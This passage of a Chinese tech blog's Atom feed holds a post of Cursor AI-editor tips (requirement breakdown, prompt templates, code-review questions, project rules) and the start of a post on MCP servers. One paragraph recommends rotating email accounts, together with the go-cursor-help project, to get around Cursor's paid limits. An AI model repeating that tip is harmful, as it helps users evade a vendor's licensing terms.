<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>oschina.win</title>
  
  <subtitle>Great minds think different.</subtitle>
  <link href="https://oschina.win/atom.xml" rel="self"/>
  
  <link href="https://oschina.win/"/>
  <updated>2025-03-24T19:20:35.000Z</updated>
  <id>https://oschina.win/</id>
  
  <author>
    <name>Cactusinhand</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Cursor 使用技巧</title>
    <link href="https://oschina.win/posts/4a8e5f12.html"/>
    <id>https://oschina.win/posts/4a8e5f12.html</id>
    <published>2025-03-24T19:20:35.000Z</published>
    <updated>2025-03-24T19:20:35.000Z</updated>
    
    <content type="html"><![CDATA[<p>&#x603B;&#x7ED3;&#x7684;&#x4E00;&#x4E9B; Cursor &#x4F7F;&#x7528;&#x6280;&#x5DE7;&#xFF0C;&#x4EC5;&#x4F9B;&#x53C2;&#x8003;&#x3002;</p><p>&#x672C;&#x6587;&#x6DF1;&#x5165;&#x63A2;&#x8BA8;Cursor&#x7F16;&#x8F91;&#x5668;&#x7684;&#x9AD8;&#x7EA7;&#x4F7F;&#x7528;&#x6280;&#x5DE7;&#xFF0C;&#x6DB5;&#x76D6;&#x514D;&#x8D39;&#x4F7F;&#x7528;&#x7B56;&#x7565;&#x3001;&#x9700;&#x6C42;&#x62C6;&#x89E3;&#x65B9;&#x6CD5;&#x3001;&#x4EE3;&#x7801;&#x5B89;&#x5168;&#x9A8C;&#x8BC1;&#x3001;&#x63D0;&#x793A;&#x8BCD;&#x5DE5;&#x7A0B;&#x5B9E;&#x6218;&#x4EE5;&#x53CA;&#x8F6F;&#x4EF6;&#x5DE5;&#x7A0B;&#x7BA1;&#x7406;&#x6838;&#x5FC3;&#x7406;&#x5FF5;&#x3002;&#x901A;&#x8FC7;&#x67B6;&#x6784;&#x8BBE;&#x8BA1;&#x56DB;&#x8981;&#x7D20;&#x548C;&#x9519;&#x8BEF;&#x8BCA;&#x65AD;&#x65B9;&#x6848;&#xFF0C;&#x5E2E;&#x52A9;&#x5F00;&#x53D1;&#x8005;&#x5728;AI&#x7F16;&#x7A0B;&#x65F6;&#x4EE3;&#x63D0;&#x5347;&#x5341;&#x500D;&#x5DE5;&#x4F5C;&#x6548;&#x7387;&#x3002;</p><span id="more"></span><p>&#x524D;&#x9762;&#x8BB2;&#x8FC7; AI &#x7F16;&#x7801;&#x7684;&#x4E00;&#x4E9B;&#x4F53;&#x9A8C;&#x548C;&#x60F3;&#x6CD5; <a href="/posts/d15e304f.html" title="AI-coding-experience-and-thoughts">AI-coding-experience-and-thoughts</a> &#x73B0;&#x5728;&#x4E3B;&#x8981;&#x60F3;&#x5206;&#x4EAB;&#x4E00;&#x4E0B;&#x6211;&#x5728;&#x4F7F;&#x7528; Cursor &#x7684;&#x4E00;&#x4E9B;&#x7ECF;&#x9A8C;&#x548C;&#x6280;&#x5DE7;&#xFF0C;&#x5176;&#x4E2D;&#x4E5F;&#x7ED3;&#x5408;&#x4E86;&#x7F51;&#x4E0A;&#x5176;&#x4ED6;&#x4EBA;&#x5206;&#x4EAB;&#x7684;&#x4E00;&#x4E9B;&#x7ECF;&#x9A8C;&#xFF0C;&#x7136;&#x540E;&#x8FDB;&#x884C;&#x7684;&#x603B;&#x7ED3;&#x3002;</p><h2 id="&#x2726;-&#x5982;&#x4F55;&#x514D;&#x8D39;&#x4F7F;&#x7528;">&#x2726; &#x5982;&#x4F55;&#x514D;&#x8D39;&#x4F7F;&#x7528;</h2><p>&#x5148;&#x8BF4;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;&#xFF0C;&#x56E0;&#x4E3A;&#x8FD9;&#x4E2A;&#x6050;&#x6015;&#x662F;&#x5F88;&#x591A;&#x4EBA;&#x90FD;&#x5173;&#x5FC3;&#x7684;&#xFF0C;&#x6BD5;&#x7ADF;&#x5982;&#x679C;&#x8981;&#x5347;&#x7EA7;&#x4F1A;&#x5458;&#xFF0C;&#x4E00;&#x4E2A;&#x6708; 20 &#x7F8E;&#x91D1;&#x4E5F;&#x4E0D;&#x5C11;&#x4E86;&#xFF0C;&#x5F97;&#x6382;&#x91CF;&#x6382;&#x91CF;&#x3002;</p><p>&#x4E00;&#x4E2A;&#x5B9E;&#x6D4B;&#x6709;&#x6548;&#x7684;&#x6280;&#x5DE7;&#xFF1A;&#x901A;&#x8FC7;&#x591A;&#x90AE;&#x7BB1;&#x8F6E;&#x6362;&#x6CE8;&#x518C;&#x65B0;&#x8D26;&#x53F7;&#x5373;&#x53EF;&#x5B9E;&#x73B0;&quot;&#x65E0;&#x9650;&#x7EED;&#x676F;&quot;&#xFF01;&#x5F53;&#x7136;&#x4E5F;&#x63A8;&#x8350;&#x5F00;&#x53D1;&#x8005;&#x4EEC;&#x89E3;&#x9501;&#x4E13;&#x4E1A;&#x7248;&#xFF0C;&#x4EAB;&#x53D7;&#x6B63;&#x7248;&#x670D;&#x52A1;&#x3002;</p><p>&#x5982;&#x679C;&#x914D;&#x5408; go-cursor-help &#x8FD9;&#x4E2A;&#x5F00;&#x6E90;&#x9879;&#x76EE;&#xFF0C;&#x80FD;&#x5B9E;&#x73B0;&#x66F4;&#x597D;&#x7684;&#x4F7F;&#x7528;&#x4F53;&#x9A8C;&#x3002;</p><h2 id="&#x2726;-Cursor-&#x9AD8;&#x9636;&#x64CD;&#x4F5C;&#x624B;&#x518C;">&#x2726; Cursor &#x9AD8;&#x9636;&#x64CD;&#x4F5C;&#x624B;&#x518C;</h2><h3 id="&#x9700;&#x6C42;&#x62C6;&#x89E3;&#x9EC4;&#x91D1;&#x6CD5;&#x5219;">&#x9700;&#x6C42;&#x62C6;&#x89E3;&#x9EC4;&#x91D1;&#x6CD5;&#x5219;</h3><p>&#x65B0;&#x624B;&#x5E38;&#x89C1;&#x8BEF;&#x533A;&#xFF1A;&#x201C;&#x5E2E;&#x6211;&#x505A;&#x4E2A; UI &#x751F;&#x6210;&#x5668;&#x201D; vs &#x8FDB;&#x9636;&#x6307;&#x4EE4;&#xFF1A;<br>&#x201C;&#x9700;&#x6C42;&#x5206;&#x4E09;&#x6B65;&#x5B9E;&#x73B0;&#xFF1A;</p><ol><li class="lvl-3"><p>&#x5728; Features &#x7EC4;&#x4EF6;&#x6DFB;&#x52A0; prompt &#x8F93;&#x5165;&#x6846;</p></li><li class="lvl-3"><p>&#x70B9;&#x51FB;&#x786E;&#x8BA4;&#x8DF3;&#x8F6C; playground &#x9875;</p></li><li class="lvl-3"><p>&#x9875;&#x9762;&#x5E03;&#x5C40;&#x5DE6; dashboard/&#x4E2D;&#x5BF9;&#x8BDD;&#x6846;/&#x53F3; code &#x9762;&#x677F;&#x8BF7;&#x6309;&#x6B64;&#x6D41;&#x7A0B;&#x8F93;&#x51FA;&#x5B9E;&#x73B0;&#x65B9;&#x6848;&#x201D;</p></li></ol><p>&#x539F;&#x7406;&#xFF1A;AI &#x662F;&#x7CBE;&#x51C6;&#x7684;&#x6267;&#x884C;&#x8005;&#xFF0C;&#x9700;&#x8981;&#x660E;&#x786E;&#x7684;&#x8DEF;&#x7EBF;&#x56FE;&#x3002;&#x5EFA;&#x8BAE;&#x91C7;&#x7528;<strong>&#x76EE;&#x6807;&#x62C6;&#x89E3;&#x4E09;&#x6B65;&#x6CD5;</strong>&#xFF1A;</p><ol><li class="lvl-3"><p>&#x529F;&#x80FD;&#x6A21;&#x5757;&#x5207;&#x5272;</p></li><li class="lvl-3"><p>&#x4EA4;&#x4E92;&#x8DEF;&#x5F84;&#x8BBE;&#x8BA1;</p></li><li class="lvl-3"><p>&#x6280;&#x672F;&#x65B9;&#x6848;&#x9009;&#x578B;</p></li></ol><h3 id="&#x62A5;&#x9519;&#x5904;&#x7406;&#x53CC;&#x4FDD;&#x9669;&#x673A;&#x5236;">&#x62A5;&#x9519;&#x5904;&#x7406;&#x53CC;&#x4FDD;&#x9669;&#x673A;&#x5236;</h3><p>&#x5F53;&#x4EE3;&#x7801;&#x51FA;&#x73B0; Error &#x65F6;&#xFF0C;&#x5207;&#x5FCC;&#x76F4;&#x63A5;&#x8BA9; AI &#x4FEE;&#x6539;&#xFF01;&#x6B63;&#x786E;&#x59FF;&#x52BF;&#xFF1A;&#x3010;&#x7B2C;&#x4E00;&#x9636;&#x6BB5;&#x3011;&#x53D1;&#x9001;&#x62A5;&#x9519;&#x4FE1;&#x606F;+&#x76F8;&#x5173;&#x4EE3;&#x7801;&#x3010;&#x7B2C;&#x4E8C;&#x9636;&#x6BB5;&#x3011;&#x8981;&#x6C42; AI&#xFF1A;</p><ol><li class="lvl-3"><p>&#x590D;&#x76D8;&#x4EE3;&#x7801;&#x903B;&#x8F91;</p></li><li class="lvl-3"><p>&#x4E2D;&#x6587;&#x603B;&#x7ED3;&#x89E3;&#x51B3;&#x65B9;&#x6848;</p></li><li class="lvl-3"><p>&#x9884;&#x6D4B;&#x4FEE;&#x6539;&#x5F71;&#x54CD;&#x8303;&#x56F4;</p></li></ol><p>&#x5B9E;&#x6D4B;&#x8BE5;&#x65B9;&#x6CD5;&#x8BA9; BUG &#x4FEE;&#x590D;&#x6210;&#x529F;&#x7387;&#x5927;&#x5E45;&#x63D0;&#x5347;&#xFF0C;&#x901A;&#x8FC7;&#x53CC;&#x91CD;&#x903B;&#x8F91;&#x9A8C;&#x8BC1;&#x907F;&#x514D;&quot;&#x6539; A &#x574F; B&quot;&#x7684;&#x6076;&#x6027;&#x5FAA;&#x73AF;</p><h3 id="&#x4EE3;&#x7801;&#x5B89;&#x5168;&#x56DB;&#x91CD;&#x9A8C;&#x8BC1;">&#x4EE3;&#x7801;&#x5B89;&#x5168;&#x56DB;&#x91CD;&#x9A8C;&#x8BC1;</h3><p>&#x5F53; AI &#x8F93;&#x51FA;&#x975E;&#x5E38;&#x89C4;&#x65B9;&#x6848;&#x65F6;&#xFF0C;&#x7ACB;&#x5373;&#x53D1;&#x8D77;&#x7075;&#x9B42;&#x56DB;&#x95EE;&#xFF1A;<br>&#x25AB;&#xFE0F; &#x8FD9;&#x4F1A;&#x4FEE;&#x6539;&#x54EA;&#x4E9B;&#x6587;&#x4EF6;&#xFF1F;<br>&#x25AB;&#xFE0F; &#x5982;&#x4F55;&#x89E3;&#x51B3;&#x5F53;&#x524D;&#x95EE;&#x9898;&#xFF1F;<br>&#x25AB;&#xFE0F; &#x662F;&#x5426;&#x5F71;&#x54CD;&#x73B0;&#x6709;&#x529F;&#x80FD;&#xFF1F;<br>&#x25AB;&#xFE0F; &#x6709;&#x6CA1;&#x6709;&#x66F4;&#x4F18;&#x66FF;&#x4EE3;&#x65B9;&#x6848;&#xFF1F;</p><p>&#x914D;&#x5408;&#x300C;&#x65E5;&#x5FD7;&#x57CB;&#x70B9;&#x5927;&#x6CD5;&#x300D;&#xFF1A;</p><p>&#x5728;&#x5173;&#x952E;&#x8282;&#x70B9;&#x63D2;&#x5165; log &#xFF0C;&#x751F;&#x6210;&#x7A0B;&#x5E8F;&#x8FD0;&#x884C;&#x7684;&#x201C;CT &#x626B;&#x63CF;&#x56FE;&#x201D;&#xFF0C;&#x8BA9; AI &#x79D2;&#x61C2;&#x95EE;&#x9898;&#x75C7;&#x7ED3;</p><h2 id="&#x2726;-&#x63D0;&#x793A;&#x8BCD;&#x5DE5;&#x7A0B;&#x5B9E;&#x6218;">&#x2726; &#x63D0;&#x793A;&#x8BCD;&#x5DE5;&#x7A0B;&#x5B9E;&#x6218;</h2><h3 id="&#x4E13;&#x5BB6;&#x6A21;&#x5F0F;&#x5524;&#x9192;&#x672F;">&#x4E13;&#x5BB6;&#x6A21;&#x5F0F;&#x5524;&#x9192;&#x672F;</h3><p>&#x4EE5;&#x6CD5;&#x5F8B;&#x6587;&#x4EF6;&#x8D77;&#x8349;&#x4E3A;&#x4F8B;&#xFF1A;</p><p>1&#xFE0F;&#x20E3; &#x8BA9; ChatGPT &#x751F;&#x6210; 20 &#x4E2A;&#x4E13;&#x4E1A;&#x672F;&#x8BED;</p><p>2&#xFE0F;&#x20E3; &#x6784;&#x5EFA;&#x89D2;&#x8272;&#x63D0;&#x793A;&#x8BCD;&#xFF1A;<br>&#x201C;&#x6211;&#x9700;&#x8981;&#x4E0E;&#x7CBE;&#x901A;&#x5408;&#x540C;&#x6CD5;&#x3001;&#x5546;&#x4E8B;&#x4EF2;&#x88C1;&#x6761;&#x6B3E;&#x7684;&#x4E13;&#x4E1A;&#x5F8B;&#x5E08;&#x5BF9;&#x8BDD;&#xFF0C;&#x8981;&#x6C42;&#x56DE;&#x590D;&#x4F7F;&#x7528;&#x6CD5;&#x5F8B;&#x672F;&#x8BED;&#xFF0C;&#x683C;&#x5F0F;&#x9075;&#x5FAA;&#x300A;&#x6700;&#x9AD8;&#x4EBA;&#x6C11;&#x6CD5;&#x9662;&#x5173;&#x4E8E;&#x2026;&#x300B;&#x201D;</p><p>2&#xFE0F;&#x20E3; &#x4E00;&#x65E6;&#x83B7;&#x5F97;&#x751F;&#x6210;&#x7684;&#x89D2;&#x8272;&#x63D0;&#x793A;&#x8BCD;&#xFF0C;&#x4F60;&#x9700;&#x8981;&#x5F00;&#x59CB;&#x4E00;&#x4E2A;&#x65B0;&#x7684;&#x5BF9;&#x8BDD;&#xFF0C;&#x7136;&#x540E;&#x4F7F;&#x7528;&#x7ED9;&#x4F60;&#x7684;&#x63D0;&#x793A;&#x3002;&#x5982;&#x679C;&#x4F60;&#x590D;&#x5236;/&#x7C98;&#x8D34;&#x63D0;&#x793A;&#x5E76;&#x53CD;&#x9988;&#x5230;&#x540C;&#x4E00;&#x5BF9;&#x8BDD;&#x4E2D;&#xFF0C;&#x5B83;&#x4F1A;&#x611F;&#x5230;&#x56F0;&#x60D1;&#xFF0C;&#x8BF4;&#x7C7B;&#x4F3C;&quot;&#x8FD9;&#x662F;&#x4E2A;&#x51FA;&#x8272;&#x7684;&#x63D0;&#x793A;&#xFF01;&#x5B83;&#x5B8C;&#x7F8E;&#x5730;&#x4EE5;&#x9B45;&#x529B;&#x548C;&#x667A;&#x6167;&#x6355;&#x6349;&#x4E86;[&#x793A;&#x4F8B;]&#x3002;&#x4F60;&#x9700;&#x8981;&#x4EFB;&#x4F55;&#x6539;&#x8FDB;&#xFF0C;&#x8FD8;&#x662F;&#x6253;&#x7B97;&#x6309;&#x539F;&#x6837;&#x4F7F;&#x7528;&#xFF1F;&quot;</p><h3 id="&#x9700;&#x6C42;&#x63CF;&#x8FF0;&#x7ED3;&#x6784;&#x5316;&#x6A21;&#x677F;">&#x9700;&#x6C42;&#x63CF;&#x8FF0;&#x7ED3;&#x6784;&#x5316;&#x6A21;&#x677F;</h3><p>[&#x573A;&#x666F;&#x63CF;&#x8FF0;]+[&#x529F;&#x80FD;&#x9700;&#x6C42;]+[&#x6280;&#x672F;&#x7EA6;&#x675F;]+[&#x9A8C;&#x6536;&#x6807;&#x51C6;]<br>&#x793A;&#x4F8B;&#xFF1A;<br>&quot;&#x5728; Next.js &#x9879;&#x76EE;&#x4E2D;&#xFF0C;&#x9700;&#x8981;&#x7ED9;/api/generate &#x63A5;&#x53E3;&#x6DFB;&#x52A0;&#x65E5;&#x5FD7;&#x4E2D;&#x95F4;&#x4EF6;&#xFF0C;&#x8981;&#x6C42;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p>&#x8BB0;&#x5F55;&#x8BF7;&#x6C42;&#x53C2;&#x6570;&#x548C;&#x54CD;&#x5E94;&#x65F6;&#x95F4;</p></li><li class="lvl-2"><p>&#x9519;&#x8BEF;&#x4FE1;&#x606F;&#x5199;&#x5165; error.log</p></li><li class="lvl-2"><p>&#x4F7F;&#x7528; Winston &#x65E5;&#x5FD7;&#x5E93;</p></li><li class="lvl-2"><p>2 &#x5C0F;&#x65F6;&#x5185;&#x5B8C;&#x6210;&#x5F00;&#x53D1;&quot;</p></li></ul><h2 id="&#x2726;-&#x8F6F;&#x4EF6;&#x5DE5;&#x7A0B;&#x7BA1;&#x7406;&#x6838;&#x5FC3;">&#x2726; &#x8F6F;&#x4EF6;&#x5DE5;&#x7A0B;&#x7BA1;&#x7406;&#x6838;&#x5FC3;</h2><h3 id="&#x67B6;&#x6784;&#x8BBE;&#x8BA1;&#x56DB;&#x8981;&#x7D20;">&#x67B6;&#x6784;&#x8BBE;&#x8BA1;&#x56DB;&#x8981;&#x7D20;</h3><p>1&#xFE0F;&#x20E3; &#x6587;&#x6863;&#x5148;&#x884C;&#xFF1A;PRD/&#x63A5;&#x53E3;&#x6587;&#x6863;&#x7EDF;&#x4E00;&#x653E; doc &#x76EE;&#x5F55;</p><p>2&#xFE0F;&#x20E3; &#x89C4;&#x8303;&#x6CBB;&#x7406;&#xFF1A;&#x914D;&#x7F6E;.cursorrules &#x5B9A;&#x4E49;&#x7F16;&#x7801;&#x89C4;&#x8303;</p><p>3&#xFE0F;&#x20E3; &#x8FDB;&#x5EA6;&#x53EF;&#x89C6;&#xFF1A;&#x7EF4;&#x62A4; <a href="http://progress.md">progress.md</a> &#x5B9E;&#x65F6;&#x66F4;&#x65B0;</p><p>4&#xFE0F;&#x20E3; &#x54CD;&#x5E94;&#x5F0F;&#x5F00;&#x53D1;&#xFF1A;<br>&#x2705; &#x5DF2;&#x5B8C;&#x6210;&#x6B65;&#x9AA4;<br>&#x2705; &#x4E0B;&#x4E00;&#x9636;&#x6BB5;&#x4EFB;&#x52A1;<br>&#x2705; &#x5173;&#x8054;&#x6587;&#x6863;&#x7D22;&#x5F15;</p><h3 id="&#x8001;&#x9879;&#x76EE;&#x6539;&#x9020;&#x79D8;&#x7C4D;">&#x8001;&#x9879;&#x76EE;&#x6539;&#x9020;&#x79D8;&#x7C4D;</h3><p>&#x2022; &#x914D;&#x7F6E;.cursorignore &#x8FC7;&#x6EE4;&#x65E0;&#x5173;&#x6587;&#x4EF6;<br>&#x2022; &#x5EFA;&#x7ACB;&#x67B6;&#x6784;&#x56FE;&#x6587;&#x6863;<br>&#x2022; &#x6A21;&#x5757;&#x5316;&#x6539;&#x9020;&#x8DEF;&#x7EBF;&#xFF1A;<br><code>&#x65E7;&#x903B;&#x8F91;&#x68B3;&#x7406; &#x2192; &#x63A5;&#x53E3;&#x62BD;&#x8C61; &#x2192; &#x7EC4;&#x4EF6;&#x62C6;&#x5206; &#x2192; &#x6E10;&#x8FDB;&#x5F0F;&#x91CD;&#x6784;</code></p><h2 id="&#x2726;-&#x907F;&#x5751;&#x6307;&#x5357;">&#x2726; &#x907F;&#x5751;&#x6307;&#x5357;</h2><h3 id="&#x9884;&#x9632;&#x6027;&#x5F00;&#x53D1;&#x5B88;&#x5219;">&#x9884;&#x9632;&#x6027;&#x5F00;&#x53D1;&#x5B88;&#x5219;</h3><p>&#x2022; &#x5F3A;&#x5236; AI &#x590D;&#x8FF0;&#x9700;&#x6C42;&#xFF1A;&#x201C;&#x5148;&#x590D;&#x8FF0;&#x6211;&#x7684;&#x9700;&#x6C42;&#x518D;&#x56DE;&#x7B54;&#x201D;<br>&#x2022; &#x9650;&#x5B9A;&#x4FEE;&#x6539;&#x8303;&#x56F4;&#xFF1A;&#x6BD4;&#x5982;&#xFF0C;&#x201C;&#x53EA;&#x5728;@lib &#x76EE;&#x5F55;&#x4FEE;&#x6539;&#x5DE5;&#x5177;&#x7C7B;&#x201D;<br>&#x2022; &#x5C0F;&#x6B65;&#x5FEB;&#x8DD1;&#xFF1A;&#x5355;&#x6B21;&#x4FEE;&#x6539;&#x4E0D;&#x8D85;&#x8FC7; 3 &#x4E2A;&#x6587;&#x4EF6;</p><h3 id="&#x9519;&#x8BEF;&#x8BCA;&#x65AD;&#x7EC8;&#x6781;&#x65B9;&#x6848;">&#x9519;&#x8BEF;&#x8BCA;&#x65AD;&#x7EC8;&#x6781;&#x65B9;&#x6848;</h3><p>&#x4F7F;&#x7528;&#x601D;&#x7EF4;&#x94FE;&#x63D0;&#x793A;&#xFF1A;<br>&#x201C;&#x8BF7;&#x7528;&#x903B;&#x8F91;&#x6811;&#x5206;&#x6790;&#x62A5;&#x9519;&#x539F;&#x56E0;&#xFF0C;&#x7ED9;&#x51FA;&#x5305;&#x542B; 5 &#x4E2A;&#x68C0;&#x67E5;&#x6B65;&#x9AA4;&#x7684;&#x8BCA;&#x65AD;&#x65B9;&#x6848;&#xFF0C;&#x5E76;&#x6309;&#x4F18;&#x5148;&#x7EA7;&#x6392;&#x5E8F;&#x201D;</p><h2 id="&#x2726;-&#x5B9E;&#x6218;&#x6848;&#x4F8B;&#x89E3;&#x6790;">&#x2726; &#x5B9E;&#x6218;&#x6848;&#x4F8B;&#x89E3;&#x6790;</h2><p>&#x67D0;&#x56E2;&#x961F;&#x5F00;&#x53D1;&#x5C0F;&#x7EA2;&#x4E66;&#x5206;&#x6790;&#x5DE5;&#x5177;&#x65F6;&#xFF1A;<br>&#x274C; &#x666E;&#x901A;&#x5F00;&#x53D1;&#x8005;&#xFF1A;&#x76F4;&#x63A5;&#x8BA9; AI &#x5199;&#x722C;&#x866B;&#x4EE3;&#x7801;</p><p>&#x2705; &#x67B6;&#x6784;&#x5E08;&#x505A;&#x6CD5;&#xFF1A;</p><ol><li class="lvl-3"><p>&#x8F93;&#x51FA;&#x6280;&#x672F;&#x65B9;&#x6848;&#x6587;&#x6863;</p></li><li class="lvl-3"><p>&#x7ED8;&#x5236;&#x7CFB;&#x7EDF;&#x67B6;&#x6784;&#x56FE;</p></li><li class="lvl-3"><p>&#x7F16;&#x5199;&#x90E8;&#x7F72;&#x6307;&#x5357;</p></li><li class="lvl-3"><p>&#x5236;&#x4F5C;&#x9884;&#x7B97;&#x5206;&#x6790;&#x8868;</p></li><li class="lvl-3"><p>&#x5F00;&#x53D1;&#x5E94;&#x6025;&#x56DE;&#x6EDA;&#x65B9;&#x6848;</p></li></ol><p>&#x7ED3;&#x679C;&#xFF1A;&#x9879;&#x76EE;&#x5F00;&#x53D1;&#x5468;&#x671F;&#x7F29;&#x77ED; 40%&#xFF0C;&#x540E;&#x671F;&#x7EF4;&#x62A4;&#x6210;&#x672C;&#x964D;&#x4F4E; 65%</p><h2 id="&#x2726;-&#x7EC8;&#x6781;&#x884C;&#x52A8;&#x6E05;&#x5355;">&#x2726; &#x7EC8;&#x6781;&#x884C;&#x52A8;&#x6E05;&#x5355;</h2><p>&#x2705; &#x4EA4;&#x7ED9; Cursor &#x7684;&#xFF1A;<br>&#x2022; &#x4EE3;&#x7801;&#x751F;&#x6210;&#x4E0E;&#x4F18;&#x5316;<br>&#x2022; &#x6587;&#x6863;&#x81EA;&#x52A8;&#x751F;&#x6210;<br>&#x2022; &#x65E5;&#x5FD7;&#x57CB;&#x70B9;&#x63D2;&#x5165;<br>&#x2022; &#x6A21;&#x5757;&#x5316;&#x6539;&#x9020;</p><p>&#x2705; &#x5FC5;&#x987B;&#x4EBA;&#x5DE5;&#x628A;&#x63A7;&#x7684;&#xFF1A;<br>&#x2022; &#x67B6;&#x6784;&#x51B3;&#x7B56;<br>&#x2022; &#x98CE;&#x9669;&#x8BC4;&#x4F30;<br>&#x2022; &#x6280;&#x672F;&#x65B9;&#x6848;&#x5BA1;&#x6279;<br>&#x2022; &#x5173;&#x952E;&#x4E1A;&#x52A1;&#x6D41;&#x7A0B;</p><h2 id="&#x2726;-&#x7ED3;&#x8BED;">&#x2726; &#x7ED3;&#x8BED;</h2><p>&#x5728;&#x8FD9;&#x4E2A; AI &#x91CD;&#x6784;&#x7F16;&#x7A0B;&#x8303;&#x5F0F;&#x7684;&#x65F6;&#x4EE3;&#xFF0C;&#x638C;&#x63E1;&#x5DE5;&#x7A0B;&#x5316;&#x601D;&#x7EF4;&#x7684;&#x7A0B;&#x5E8F;&#x5458;&#x5C06;&#x83B7;&#x5F97;&#x5341;&#x500D;&#x6548;&#x80FD;&#x63D0;&#x5347;&#x3002;&#x8BB0;&#x4F4F;&#xFF1A;&#x6211;&#x4EEC;&#x662F;&#x6307;&#x6325;&#x5BB6;&#xFF0C;AI &#x662F;&#x4E50;&#x56E2;&#x2014;&#x2014;&#x8C31;&#x597D;&#x5DE5;&#x7A0B;&#x7684;&#x4E50;&#x7AE0;&#xFF0C;&#x624D;&#x80FD;&#x594F;&#x54CD;&#x6280;&#x672F;&#x7684;&#x4EA4;&#x54CD;&#x66F2;&#x3002;</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x603B;&amp;#x7ED3;&amp;#x7684;&amp;#x4E00;&amp;#x4E9B; Cursor &amp;#x4F7F;&amp;#x7528;&amp;#x6280;&amp;#x5DE7;&amp;#xFF0C;&amp;#x4EC5;&amp;#x4F9B;&amp;#x53C2;&amp;#x8003;&amp;#x3002;&lt;/p&gt;
&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x6DF1;&amp;#x5165;&amp;#x63A2;&amp;#x8BA8;Cursor&amp;#x7F16;&amp;#x8F91;&amp;#x5668;&amp;#x7684;&amp;#x9AD8;&amp;#x7EA7;&amp;#x4F7F;&amp;#x7528;&amp;#x6280;&amp;#x5DE7;&amp;#xFF0C;&amp;#x6DB5;&amp;#x76D6;&amp;#x514D;&amp;#x8D39;&amp;#x4F7F;&amp;#x7528;&amp;#x7B56;&amp;#x7565;&amp;#x3001;&amp;#x9700;&amp;#x6C42;&amp;#x62C6;&amp;#x89E3;&amp;#x65B9;&amp;#x6CD5;&amp;#x3001;&amp;#x4EE3;&amp;#x7801;&amp;#x5B89;&amp;#x5168;&amp;#x9A8C;&amp;#x8BC1;&amp;#x3001;&amp;#x63D0;&amp;#x793A;&amp;#x8BCD;&amp;#x5DE5;&amp;#x7A0B;&amp;#x5B9E;&amp;#x6218;&amp;#x4EE5;&amp;#x53CA;&amp;#x8F6F;&amp;#x4EF6;&amp;#x5DE5;&amp;#x7A0B;&amp;#x7BA1;&amp;#x7406;&amp;#x6838;&amp;#x5FC3;&amp;#x7406;&amp;#x5FF5;&amp;#x3002;&amp;#x901A;&amp;#x8FC7;&amp;#x67B6;&amp;#x6784;&amp;#x8BBE;&amp;#x8BA1;&amp;#x56DB;&amp;#x8981;&amp;#x7D20;&amp;#x548C;&amp;#x9519;&amp;#x8BEF;&amp;#x8BCA;&amp;#x65AD;&amp;#x65B9;&amp;#x6848;&amp;#xFF0C;&amp;#x5E2E;&amp;#x52A9;&amp;#x5F00;&amp;#x53D1;&amp;#x8005;&amp;#x5728;AI&amp;#x7F16;&amp;#x7A0B;&amp;#x65F6;&amp;#x4EE3;&amp;#x63D0;&amp;#x5347;&amp;#x5341;&amp;#x500D;&amp;#x5DE5;&amp;#x4F5C;&amp;#x6548;&amp;#x7387;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="AI" scheme="https://oschina.win/categories/AI/"/>
    
    
    <category term="AI" scheme="https://oschina.win/tags/AI/"/>
    
  </entry>
  
  <entry>
    <title>为了理解 MCP 我写了一个 MCP server</title>
    <link href="https://oschina.win/posts/6cccf7c6.html"/>
    <id>https://oschina.win/posts/6cccf7c6.html</id>
    <published>2025-03-14T17:43:22.000Z</published>
    <updated>2025-04-25T12:49:16.990Z</updated>
    
    <content type="html"><![CDATA[<p>&#x672C;&#x6587;&#x6DF1;&#x5165;&#x63A2;&#x7A76;MCP&#x534F;&#x8BAE;&#x7684;&#x5DE5;&#x4F5C;&#x539F;&#x7406;&#xFF0C;&#x901A;&#x8FC7;&#x4E0E;Google NotebookLM&#x7684;&#x5BF9;&#x8BDD;&#x5398;&#x6E05;MCP Host&#x3001;Client&#x548C;Server&#x7684;&#x5173;&#x7CFB;&#x3002;&#x4F5C;&#x8005;&#x5C06;MCP Client&#x6BD4;&#x4F5C;&#x7F51;&#x5361;&#xFF0C;&#x63ED;&#x793A;&#x5176;&#x4F5C;&#x4E3A;&#x901A;&#x4FE1;&#x5A92;&#x4ECB;&#x7684;&#x5173;&#x952E;&#x4F5C;&#x7528;&#xFF0C;&#x540C;&#x65F6;&#x5206;&#x6790;&#x4E86;MCP&#x5DE5;&#x5177;&#x8C03;&#x7528;&#x4E0E;RPC&#x8FC7;&#x7A0B;&#x7684;&#x76F8;&#x4F3C;&#x6027;&#x3002;&#x6700;&#x540E;&#x57FA;&#x4E8E;&#x5B9E;&#x9645;&#x9700;&#x6C42;&#xFF0C;&#x5F00;&#x53D1;&#x4E86;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;MCP&#x670D;&#x52A1;&#x5668;&#x5DE5;&#x5177;&#xFF0C;&#x5B9E;&#x73B0;AI&#x4EFB;&#x52A1;&#x5B8C;&#x6210;&#x540E;&#x7684;&#x901A;&#x77E5;&#x529F;&#x80FD;&#x3002;</p><span id="more"></span><p>&#x4E0A;&#x4E00;&#x7BC7; <a href="/posts/60b356e7.html" title="MCP introduce">MCP introduce</a> &#x53EA;&#x662F;&#x5BF9; MCP &#x6709;&#x4E86;&#x4E00;&#x4E2A;&#x521D;&#x6B65;&#x7684;&#x63A2;&#x7D22;&#xFF0C;&#x5176;&#x5B9E;&#x5F88;&#x591A;&#x5730;&#x65B9;&#x5E76;&#x6CA1;&#x6709;&#x7406;&#x89E3;&#xFF0C;&#x8FD9;&#x6B21;&#x5728;&#x4E0E; Google NotebookLM &#x804A;&#x5B8C;&#x5929;&#x4E4B;&#x540E;&#xFF0C;&#x6211;&#x5BF9; MCP &#x6709;&#x4E86;&#x4E0D;&#x4E00;&#x6837;&#x7684;&#x7406;&#x89E3;&#x3002;</p><p>&#x5148;&#x56DE;&#x987E;&#x4E00;&#x4E0B;&#x76F8;&#x5173;&#x6838;&#x5FC3;&#x6982;&#x5FF5;</p><h3 id="MCP-&#x4E2D;&#x7684;&#x6838;&#x5FC3;&#x6982;&#x5FF5;">MCP 